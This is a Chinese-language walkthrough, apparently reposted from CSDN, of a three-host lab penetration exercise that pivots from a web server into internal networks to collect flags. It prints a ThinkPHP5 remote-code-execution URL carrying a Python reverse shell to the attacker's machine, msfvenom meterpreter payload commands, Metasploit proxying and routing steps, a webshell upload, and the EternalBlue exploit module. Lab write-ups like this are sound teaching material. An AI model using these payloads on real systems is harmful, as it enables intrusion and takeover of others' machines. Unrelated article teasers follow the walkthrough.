从web到内网渗透的一次过程详解
作者:https://blog.csdn.net/kukudeshuo/article/details/120533367 发布时间:2023-05-20 21:23:08
记一次从web到内网的渗透
拓扑图
环境介绍
现在有三台机器,分别为target1,target2,target3,里面分别有三个flag,每个flag的分值不同,需要通过拿下一个已知IP(target1)进而向内网里面进行渗透,最终要成功获得三台主机权限
渗透过程
target1
使用nmap进行扫描
可以看到开启了80端口
浏览器访问目标靶机80端口
可以看到就是apache的默认页面
使用dirb进行目录结构扫描
发现public
页面
可以看到是thinkphp5搭建的网站,thinkphp5曾经爆过一个远程代码执行的漏洞,直接上网站寻找payload验证是否存在漏洞
http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
可以看到确实存在漏洞,现在可以向网站里面写入一句话木马,然后用蚁剑去连接,这是一种方法,但是也可以直接去尝试反弹一个shell到kali上
kali上执行:nc -lvvp 4444
浏览器中执行:http://192.168.109.181/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.109.128%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);
可以看到kali这边成功反弹到了一个shell
使用python生成一个交互式的shell
查找一下flag
成功获得第一个flag
使用msfvenom生成一个反向的shellcode
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.109.128 lport=5555 -f elf > msf.elf
使用python开启一个临时http服务
靶机下载该shellcode
然后kali打开msf,进行监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lport 5555
set lhost 192.168.109.128
exploit
然后靶机上给予shellcode执行的权限后执行该文件
可以看到kali这边成功返回一个meterpreter
查看一下网络配置
可以看到target1还存在一个网段
添加路由表
配置socks代理
use auxiliary/server/socks_proxy
exploit
配置proxychains代理链
vim /etc/proxychains4.conf
target2
扫描10.1.1.0/24这个网段是否还存在其他机器
use auxiliary/scanner/portscan/tcp
set rhosts 10.1.1.0/24
set ports 1-1000
set threads 50
exploit
可以看到该网段还存在一台机器为10.1.1.150
使用nmap扫描10.1.1.150开放端口
proxychains4 nmap -Pn -sT 10.1.1.150
可以看到也开放了80端口
这里直接用浏览器去访问10.1.1.150的80端口显然是不行的,不过火狐浏览器也是支持socks代理的
查看robots.txt
文件
找到后台登入位置
直接使用弱密码admin:admin
登入成功
成功获得第二个flag,找到模板位置,发现里面的源码都是可以编辑的
写入一句话木马
然后使用蚁剑去连接,当然直接去连接肯定也是不行的,不过蚁剑也是支持代理设置的
之后再正常去连接就行了,但是我这里不知道是环境问题还是蚁剑的问题,正常来说这里是肯定能连接成功的,我试了很多遍都没有成功,然后想着直接把那个页面里面的源码直接换为大马,也是不行的,因为一般大马都是经过作者编译过了,直接复制过去肯定会有问题,最后只能直接将大马事先准备在了网站根目录下面,这里主要是为了体现内网渗透,所以这里也不细说
访问大马
使用msfvenom生成一个正向连接的shellcode
msfvenom -p windows/meterpreter/bind_tcp lport=6666 -f exe -o 1.exe
然后通过大马将shellcode上传到目标服务器
然后再次进入之前打开的msf
然后在大马上执行上传的shellcode
可以看到kali这边成功返回了一个meterpreter
查看网络配置
可以看到还有一个网段10.1.2.0/24
将路由添加到路由表
run post/multi/manage/autoroute
taget3
扫描10.1.2.0/24网段是否还存在其他机器
use auxiliary/scanner/portscan/tcp
set rhosts 10.1.2.0/24
set ports 1-1000
set threads 100
exploit
这里扫描实在太慢,这个网段还有一个机器IP为10.1.2.250
然后再添加一层socks代理
use auxiliary/server/socks_proxy
set srvport 2222
exploit
配置proxychains代理链
vim /etc/proxychains4.conf
使用nmap进行端口扫描
proxychains4 nmap -Pn -sT 10.1.2.250
根据扫描结果判断操作系统为windows
再使用nmap的漏扫脚本进行扫描
proxychains4 nmap --script=vuln 10.1.2.250
可以看到存在ms17-010,直接上msf寻找攻击模块
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.1.2.250
exploit
查找一下flag
三台主机的权限全部那先,所有flag查找完毕,至此,渗透结束
来源:https://blog.csdn.net/kukudeshuo/article/details/120533367


猜你喜欢
- 本文实例讲述了Python3使用pandas模块读写excel操作。分享给大家供大家参考,具体如下:前言Python Data Analys
- asp压缩access数据库(带密码)方法:以下是一个类文件,下面的注解是调用类的方法 注意:如果系统不支持建立Scripting
- 我相信站长们做网站的最终目的还是想要获得收入的,我想象站长们大部分的都做Google的联盟的,我相信站长中大部分的人都有考虑过做英文站的,但
- 1.生成器# 一边循环一边计算的机制,称为生成器:generator;# 创建generator方法:# 1.把一个列表生成式的[]改成()
- 实现代理的方式很多种,流行的web服务器也大都有代理的功能,比如http://www.tornadoweb.cn用的就是nginx的代理功能
- 阅读别人的python源码时碰到了这个yield这个关键字,各种搜索终于搞懂了,在此做一下总结:通常的for...in...循环中,in后面
- 一、新手常犯的错误在论坛看到很多帖子代码中都有一个共同的基本错误,字段类型错误。程序和数据库是紧紧相连的,数据库字段文本型或时间型的都使用单
- SWFObject的使用是非常简单的,只需要包含 swfobject.js这个js文件,然后在DOM中插入一些简单的JS代码,就能嵌入Fla
- 本文实例讲述了JavaScript实现父子dom同时绑定两个点击事件,一个用捕获,一个用冒泡时执行顺序的方法。分享给大家供大家参考,具体如下
- 如果你用ODBC connection (DSN or DSN-less)来访问远端的(UNC path)数据库, OLEDB会出现以下错误
- 工欲善其事必先利其器,Pycharm 是最受欢迎的Python开发工具,它提供的功能非常强大,是构建大型项目的理想工具之一,如果能挖掘出里面
- 我们在页面进行pdf预览的时候,由于有些文件不能够进行打印和下载,这时候我们使用window自带的pdf就很难满足客户的需求,因此需要另外的
- 1.网页背景色的设置 犯错机率:很大普遍性:较广犯错可能性:懒/不知道约2年前我曾发现21cn上出现过一次没有设置背景色的情况,当时我用Em
- 前言:枚举(enumeration)在许多编程语言中常被表示为一种基础的数据结构使用,枚举帮助组织一系列密切相关的成员到同一个群组机制下,一
- 给定一个字符串,如何得到其中重复模式最高的子字符串,我采用的方法是使用滑窗机制,对给定的字符串切分,窗口的大小从1增加到字符串长度减1,将所
- 前言其实就是个小问题,但是爆出来的时候也很莫名其妙。因为之前都跑得好好的,只是换了不同的文件去跑才出的问题,关键是不同的文件要处理的内容和格
- 自己最近有在学习python,这实在是一门非常短小精悍的语言,很喜欢这种语言精悍背后又有强大函数库支撑的语言。可是刚接触不久就遇到了让人头疼
- 如何快速的求出1到x的和呢?代码如下:NB(注意): # 后面的部分表示输出结果。class Debug: def calcul
- CSS2.1 中规定了关于 CSS 规则 Specificity(特异性)的计算方式,用一个四位的数字串(注:CSS2 中是用三位)来表示,
- 01 前言&&效果展示相信大家都有忙碌的时候,不可能一直守在微信上及时回复消息。但微信又不能像QQ一样设置自动回